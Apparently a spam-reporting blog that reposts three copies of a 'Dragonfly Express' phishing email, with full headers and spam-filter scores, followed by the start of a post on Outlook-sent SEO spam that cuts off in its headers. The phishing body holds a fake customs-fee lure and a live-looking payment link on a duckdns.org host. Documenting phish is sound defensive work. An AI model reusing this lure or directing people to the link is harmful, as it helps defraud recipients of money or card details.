DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=llanogas.webgis1.com; s=default; h=MIME-Version:Date:

Content-Transfer-Encoding:Message-ID:Subject:To:From:Content-Type:Sender:

Reply-To:Cc:Content-ID:Content-Description:Resent-Date:Resent-From:

Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:

List-Id:List-Help:List-Unsubscribe:List-Unsubscribe-Post:List-Subscribe:

List-Post:List-Owner:List-Archive;

bh=CNLLG+q/NrzvggOFJw4nyhoJqTyiqAh9UheFqURKN/M=; b=r8GymFOkYR3eVyjVNblHoXYpmc

17b6c8RmKNOuTvoCoseJdFgDx4hUroOJA+aj4wLAyCaM0Kqio/imhBCRrtN9CN49RRVKC5FCz2uFR

SzJyR3RRNd/xLvZPINTL4uF8TTl//P58qtWUpnPZCYIZch/PIhXPYI2l/UWPyOZRLgHpZY5fVNmMA

mITu5rl9sYzc6cIiLDCtYASunWxW+C5HSr5b674PFOhk9g/jkwhHsPZYo6gXAnl0OAnFc+L95b7sb

szZltJMPtAR1hPi5p2b9kFYzImD8DJF1z3y22PWHuYKyGPy78SO19/3wN40zzGftLgxaSPFDBkzXh

IMgXJRhQ==;

Received: from [160.179.183.202] (port=51947 helo=[127.0.0.1])

by us19.acugis-dns.com with esmtpsa (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100.1)

(envelope-from )

id 1xQvfk-0000000GkpE-0EXQ

for root@nk.ca;

Wed, 11 Nov 2026 00:54:39 +0100

Content-Type: text/html

From: Dragonfly

To: root@nk.ca

Subject: Dragonfly Delivery Notification

Message-ID: <45a7ae55-5e84-75d8-1b93-7bd3ec4feba1@llanogas.webgis1.com>

Content-Transfer-Encoding: quoted-printable

Date: Tue, 10 Nov 2026 23:54:37 +0000

MIME-Version: 1.0

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - us19.acugis-dns.com

X-AntiAbuse: Original Domain - nk.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - llanogas.webgis1.com

X-Get-Message-Sender-Via: us19.acugis-dns.com: authenticated_id: info-pvix@llanogas.webgis1.com

X-Authenticated-Sender: us19.acugis-dns.com: info-pvix@llanogas.webgis1.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 6.2

X-Spam_score_int: 62

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dragonfly Express. Dear Customer,



Content analysis details: (6.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[152.53.80.197 listed in bl.score.senderscore.com]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

1.0 VOWEL_URI_5 URI hostname with 5 consecutive vowels

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

Subject: {SPAM?} Dragonfly Delivery Notification














hidden; MAX-WIDTH: 600px; BACKGROUND: #fff; MARGIN: 20px auto; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">


align-items: center; justify-content: center">


30px; FONT-WEIGHT: bold; COLOR: #fff; FONT-STYLE: italic">Dragonfly Express=

.







PADDING-TOP: 24px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px">


DISPLAY: inline-block; PADDING-RIGHT: 6px">Dear Customer,

 






1.6">

Goods imported into Canada may be subject to applicable duties =

and/or taxes. Carriers are authorized by the. to process occasional =

shipments on behalf of the importer or owner and may remit applicable =

duties and taxes.





However, a parcel belonging to you has been held =

by customs due to missing declaration details from the sender. Please pay: =

4.95 CAD





in duties and taxes as soon as =

possible using the button below: taxes, or other charges are actually owed.=








href=3D"https://dragonfly-exp.duckdns.org/Dragonfly_Shipping/" =

style=3D"FONT-SIZE: 14px; TEXT-DECORATION: none; BACKGROUND: #04ab94; =

FONT-WEIGHT: bold; COLOR: #fff; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; =

PADDING-LEFT: 20px; DISPLAY: inline-block; PADDING-RIGHT: 20px; =

border-radius: 5px">Track my package






COLOR: #000">Thank you for choosing Dragonfly Express.










COLOR: #717171; PADDING-BOTTOM: 20px; TEXT-ALIGN: center; PADDING-TOP: =

20px; PADDING-LEFT: 20px; MARGIN: 0px auto; PADDING-RIGHT: 20px; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">

This email was sent by an automated system=

. Please do not reply official:





© 2026 =

Intelcom Express - Dragonfly Express. All rights reserved.











Dragonfly phish

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Tue, 10 Nov 2026 17:56:00 -0600

Received: from us19.acugis-dns.com ([152.53.80.197]:57022)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQvgi-00000000FWc-3m4D

for dave@doctor.nl2k.ab.ca;

Tue, 10 Nov 2026 17:55:51 -0600

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=llanogas.webgis1.com; s=default; h=MIME-Version:Date:

Content-Transfer-Encoding:Message-ID:Subject:To:From:Content-Type:Sender:

Reply-To:Cc:Content-ID:Content-Description:Resent-Date:Resent-From:

Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:

List-Id:List-Help:List-Unsubscribe:List-Unsubscribe-Post:List-Subscribe:

List-Post:List-Owner:List-Archive;

bh=CNLLG+q/NrzvggOFJw4nyhoJqTyiqAh9UheFqURKN/M=; b=rfvJSXpi2x/Fv2693QJvuFpk98

ZqzoAOcGroJfgq1pSxckGPS/BBXiItC6HU+jZ1sh1nzV0wBxzI4zSNSnIkZTrKT6yr8gjwo2JOLfd

Xp4prbaXbJ0n9QGSAdUbFLKYGe+zQf59PpcZNb9Rbz3XSE8mK1neq7PJvBqXoYvBC0EHvFbW04MRR

JexWpBwnPUHfPgGAv3pSIrjIrsa//oXVmjiKtHy/fzs5tXV56OVSlT9BTvcUYx4fE+0prBEbCh97K

PxDeThuMIxas9NHLZTz+FDLbGt1X+EvHICgnq1F459jJafUORE628D/ZFtMl/fqr5RXuFv4rDJ7rk

04vZIu5Q==;

Received: from [160.179.183.202] (port=51928 helo=[127.0.0.1])

by us19.acugis-dns.com with esmtpsa (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100.1)

(envelope-from )

id 1xQvfg-0000000Gkmi-0yEl

for dave@doctor.nl2k.ab.ca;

Wed, 11 Nov 2026 00:54:35 +0100

Content-Type: text/html

From: Dragonfly

To: dave@doctor.nl2k.ab.ca

Subject: Dragonfly Delivery Notification

Message-ID:

Content-Transfer-Encoding: quoted-printable

Date: Tue, 10 Nov 2026 23:54:33 +0000

MIME-Version: 1.0

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - us19.acugis-dns.com

X-AntiAbuse: Original Domain - doctor.nl2k.ab.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - llanogas.webgis1.com

X-Get-Message-Sender-Via: us19.acugis-dns.com: authenticated_id: info-pvix@llanogas.webgis1.com

X-Authenticated-Sender: us19.acugis-dns.com: info-pvix@llanogas.webgis1.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 6.2

X-Spam_score_int: 62

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dragonfly Express. Dear Customer,



Content analysis details: (6.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[152.53.80.197 listed in bl.score.senderscore.com]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

1.0 VOWEL_URI_5 URI hostname with 5 consecutive vowels

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

Subject: {SPAM?} Dragonfly Delivery Notification














hidden; MAX-WIDTH: 600px; BACKGROUND: #fff; MARGIN: 20px auto; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">


align-items: center; justify-content: center">


30px; FONT-WEIGHT: bold; COLOR: #fff; FONT-STYLE: italic">Dragonfly Express=

.







PADDING-TOP: 24px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px">


DISPLAY: inline-block; PADDING-RIGHT: 6px">Dear Customer,

 






1.6">

Goods imported into Canada may be subject to applicable duties =

and/or taxes. Carriers are authorized by the. to process occasional =

shipments on behalf of the importer or owner and may remit applicable =

duties and taxes.





However, a parcel belonging to you has been held =

by customs due to missing declaration details from the sender. Please pay: =

4.95 CAD





in duties and taxes as soon as =

possible using the button below: taxes, or other charges are actually owed.=








href=3D"https://dragonfly-exp.duckdns.org/Dragonfly_Shipping/" =

style=3D"FONT-SIZE: 14px; TEXT-DECORATION: none; BACKGROUND: #04ab94; =

FONT-WEIGHT: bold; COLOR: #fff; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; =

PADDING-LEFT: 20px; DISPLAY: inline-block; PADDING-RIGHT: 20px; =

border-radius: 5px">Track my package






COLOR: #000">Thank you for choosing Dragonfly Express.










COLOR: #717171; PADDING-BOTTOM: 20px; TEXT-ALIGN: center; PADDING-TOP: =

20px; PADDING-LEFT: 20px; MARGIN: 0px auto; PADDING-RIGHT: 20px; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">

This email was sent by an automated system=

. Please do not reply official:





© 2026 =

Intelcom Express - Dragonfly Express. All rights reserved.











Dragonfly phish

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Tue, 10 Nov 2026 21:34:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQz5M-00000000OHg-0qsu

for dave@doctor.nl2k.ab.ca;

Tue, 10 Nov 2026 21:33:20 -0600

Resent-From: The Doctor

Resent-Date: Tue, 10 Nov 2026 21:33:20 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from us19.acugis-dns.com ([152.53.80.197]:57032)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQvgi-00000000FWe-3YAk

for doctor@doctor.nl2k.ab.ca;

Tue, 10 Nov 2026 17:55:48 -0600

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=llanogas.webgis1.com; s=default; h=MIME-Version:Date:

Content-Transfer-Encoding:Message-ID:Subject:To:From:Content-Type:Sender:

Reply-To:Cc:Content-ID:Content-Description:Resent-Date:Resent-From:

Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:

List-Id:List-Help:List-Unsubscribe:List-Unsubscribe-Post:List-Subscribe:

List-Post:List-Owner:List-Archive;

bh=CNLLG+q/NrzvggOFJw4nyhoJqTyiqAh9UheFqURKN/M=; b=d0xITNd0mkbZJOeSNJM35/TYB/

tpBW/VVueQ5O+6u43kZL3xl/b03jR1FOCVbAnh+KuwHR0MBhb16jYAd0iKvJrvZ+yz/uz/qNvfqUv

gPX1PABR027yx4Q8LCRbX9Xl8nrZ/emcvJpg4RjbPSHWK3QTFD9f+GaHSHYFsiG03yh0EaVtk4Rf2

nm0+VXVSpow2Hrua2BH2q2iM27QNE5mDLynaBKtZ7E9QZVDUkh3vKI+n76KV9akqEDnnhHpehndNa

9t1kHFSD9pNTiac01kWuaJIuz9yt5O3G3mX1Dv0OhnCd3xbCd1g6pcEuAWryvUCCr7aIFZT8P1Ydq

E0OrX+4A==;

Received: from [160.179.183.202] (port=51927 helo=[127.0.0.1])

by us19.acugis-dns.com with esmtpsa (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100.1)

(envelope-from )

id 1xQvfg-0000000Gkmm-141d

for doctor@doctor.nl2k.ab.ca;

Wed, 11 Nov 2026 00:54:35 +0100

Content-Type: text/html

From: Dragonfly

To: doctor@doctor.nl2k.ab.ca

Subject: Dragonfly Delivery Notification

Message-ID:

Content-Transfer-Encoding: quoted-printable

Date: Tue, 10 Nov 2026 23:54:33 +0000

MIME-Version: 1.0

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - us19.acugis-dns.com

X-AntiAbuse: Original Domain - doctor.nl2k.ab.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - llanogas.webgis1.com

X-Get-Message-Sender-Via: us19.acugis-dns.com: authenticated_id: info-pvix@llanogas.webgis1.com

X-Authenticated-Sender: us19.acugis-dns.com: info-pvix@llanogas.webgis1.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 6.2

X-Spam_score_int: 62

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dragonfly Express. Dear Customer,



Content analysis details: (6.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[152.53.80.197 listed in bl.score.senderscore.com]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

1.0 VOWEL_URI_5 URI hostname with 5 consecutive vowels

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

Subject: {SPAM?} Dragonfly Delivery Notification














hidden; MAX-WIDTH: 600px; BACKGROUND: #fff; MARGIN: 20px auto; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">


align-items: center; justify-content: center">


30px; FONT-WEIGHT: bold; COLOR: #fff; FONT-STYLE: italic">Dragonfly Express=

.







PADDING-TOP: 24px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px">


DISPLAY: inline-block; PADDING-RIGHT: 6px">Dear Customer,

 






1.6">

Goods imported into Canada may be subject to applicable duties =

and/or taxes. Carriers are authorized by the. to process occasional =

shipments on behalf of the importer or owner and may remit applicable =

duties and taxes.





However, a parcel belonging to you has been held =

by customs due to missing declaration details from the sender. Please pay: =

4.95 CAD





in duties and taxes as soon as =

possible using the button below: taxes, or other charges are actually owed.=








href=3D"https://dragonfly-exp.duckdns.org/Dragonfly_Shipping/" =

style=3D"FONT-SIZE: 14px; TEXT-DECORATION: none; BACKGROUND: #04ab94; =

FONT-WEIGHT: bold; COLOR: #fff; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; =

PADDING-LEFT: 20px; DISPLAY: inline-block; PADDING-RIGHT: 20px; =

border-radius: 5px">Track my package






COLOR: #000">Thank you for choosing Dragonfly Express.










COLOR: #717171; PADDING-BOTTOM: 20px; TEXT-ALIGN: center; PADDING-TOP: =

20px; PADDING-LEFT: 20px; MARGIN: 0px auto; PADDING-RIGHT: 20px; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">

This email was sent by an automated system=

. Please do not reply official:





© 2026 =

Intelcom Express - Dragonfly Express. All rights reserved.











Web/SEO/App spam from Microsoft Outlook

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Tue, 10 Nov 2026 07:29:59 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQluN-00000000ObP-0wsL

for dave@doctor.nl2k.ab.ca;

Tue, 10 Nov 2026 07:29:07 -0600

Resent-From: The Doctor

Resent-Date: Tue, 10 Nov 2026 07:29:07 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-koreacentralazolkn19013077.outbound.protection.outlook.com ([52.103.74.77]:5401 helo=SEYPR02CU001.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQk07-000000000PL-0ysK

for sales@nk.ca;

Tue, 10 Nov 2026 05:26:59 -0600

ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;

b=qVDsI220IIkdrPIEqJUgaM68InlZsgyIsmkVDc17BTzjCcAmz3JBT4M9klUiODIujLj9Ry4sTKuT7VArz2EuWo7gt+HBP5EbmohUhzIe7C7uH4U7E2/Ju+L11qepv8iEx/adLFjzjHaAh62F3fWChnuAFaHxNIkEc1djBC0v2Ebl3gxA0J4cGBwf59hHn+CjeVKCNAhBk444xpJC6Ibq8mb/7lJU+l0gysOPw437QPhrpb9EwNg4yxLxRH98CKNREfQsylkG3UzY62Y92aXHU4T3g+BHJFcfIKpDGvfan4BSeQAI5IM6Nii1KH54PUB2Ax30PceGAjsVKeXg8tm9Lg==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector10001;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=L26LYtdLvpKY99ojKt5c/EhB7yjAbyRso5Q/BLaTqes=;

b=Gv6M9hb2Vgpc/t5y42+aVDU4hECygXbM4DPPo/KRPbpATkV/OGoKFHtUM/evfxvTJDr1REa5LoitTeFbRMydqHUissBG05QcWfmJ2g2Oby0At9GufozBqeQfQGYireqbi8C98u/KaNFne/CuQTI/j1mjUaj/UUIbV+99mrMND9wJw/TkcdjUobgmiTUd4y0zYwVlIFLdiAo8r+RNEafN7aGbXf300CrgdrVRXkwAozEsh7k1SiB7m5pPYz3x8QNyUOlK9Ex/ueS5eKYUm94ex8bgXBGPCY/U5x5cBxBXoLPpktNsE2JVsFiW/PVg3XW78w+sYfEt0L6xH1UVyNMK0Q==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;

dkim=none; arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;

s=selector1;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=L26LYtdLvpKY99ojKt5c/EhB7yjAbyRso5Q/BLaTqes=;

b=dd3mseL9yHKA3CSTIapTuFElQmDEsY20FxsIwgX0/rGmUFz+7OGAVbOVq6CSZnWg7vhG/a7IVyFO5ISyM8GelF6qIYBka36NV7ckiIJArTe5o6U0XBfoSt0xe+V4/k9j2aG6O8WFX4kHf6zBqGmYKcLHtE0kCktcud0jpHVq3al4YCcJ7y/2xYdXX6PGYhWsas4VPKc68NAzPcTYvGAasyJ4vhEg9ys0gqZytkFThuPWPAFlxXRCsbN0Ix43g2Yq5+Bek+zJFAPN5fy/bG/2dfAbR+lSZuFcPKgGKnlaVmGdTpYp9UI17hMPOQAsU112wq6CfgmC3K/eKyQUxYi5EQ==

Received: from SI2PR04MB4731.apcprd04.prod.outlook.com (2603:1096:4:127::5) by

TYZPR04MB6788.apcprd04.prod.outlook.com (2603:1096:400:341::9) with Microsoft

SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id

15.21.592.13; Tue, 10 Nov 2026 11:25:26 +0000

Received: from SI2PR04MB4731.apcprd04.prod.outlook.com

([fe80::736e:82d3:f5e1:8a2d]) by SI2PR04MB4731.apcprd04.prod.outlook.com

([fe80::736e:82d3:f5e1:8a2d%5]) with mapi id 15.21.0592.012; Tue, 10 Nov 2026

11:25:26 +0000

From: Harvey Kitelinger

Subject: Re: Few Details

Thread-Topic: Few Details

Thread-Index: AQHdbGMmbAiUNHk930ihSOavTvRNwbcfIVw6gAHl8aKABiwzzw==

Date: Tue, 10 Nov 2026 11:25:26 +0000

Message-ID:



References:







In-Reply-To:



Accept-Language: en-US

Content-Language: en-US

X-MS-Has-Attach:

X-MS-TNEF-Correlator:

msip_labels:

x-ms-publictraffictype: Email

x-ms-traffictypediagnostic: SI2PR04MB4731:EE_|TYZPR04MB6788:EE_

x-ms-office365-filtering-correlation-id: de9d733b-1462-4b20-1b44-08df3f1d5190

x-microsoft-antispam:

BCL:0;ARA:14566002|15080799012|20031999006|15030799006|24071999003|39105399006|31061999003|37011999003|8062599012|55001999006|16051099003|19110799012|8060799015|4140399003|24021099003|25010399006|440099028|3412199025|102099032|261005200801699003|261007181701699018|11120399003|260806224601699006|51015399003|40105399003;

x-microsoft-antispam-message-info:

=?us-ascii?Q?WZkkCa1Ah11PQo5QrnTt2QsWByvqdaXqXuPOEaNipClvtOXnB9FMf7Puo7Vt?=

=?us-ascii?Q?9EXJV3LO0NOJ5hdUjJZhqEX+dUKFXKtM7Flcew1EH1+Sa072UPeG3AGjm2bp?=

=?us-ascii?Q?DLTOPLqd+yq7DDARjbxDLTsg9tXxz2duybwIHhx8rIrnPNEmuR+s8rwONEdT?=

=?us-ascii?Q?bX2OFMmFLwodxV9lr0PdtTdxOZdF/TfaeK9ZbaniH6+fqIsh5bq4MMV1GGDm?=

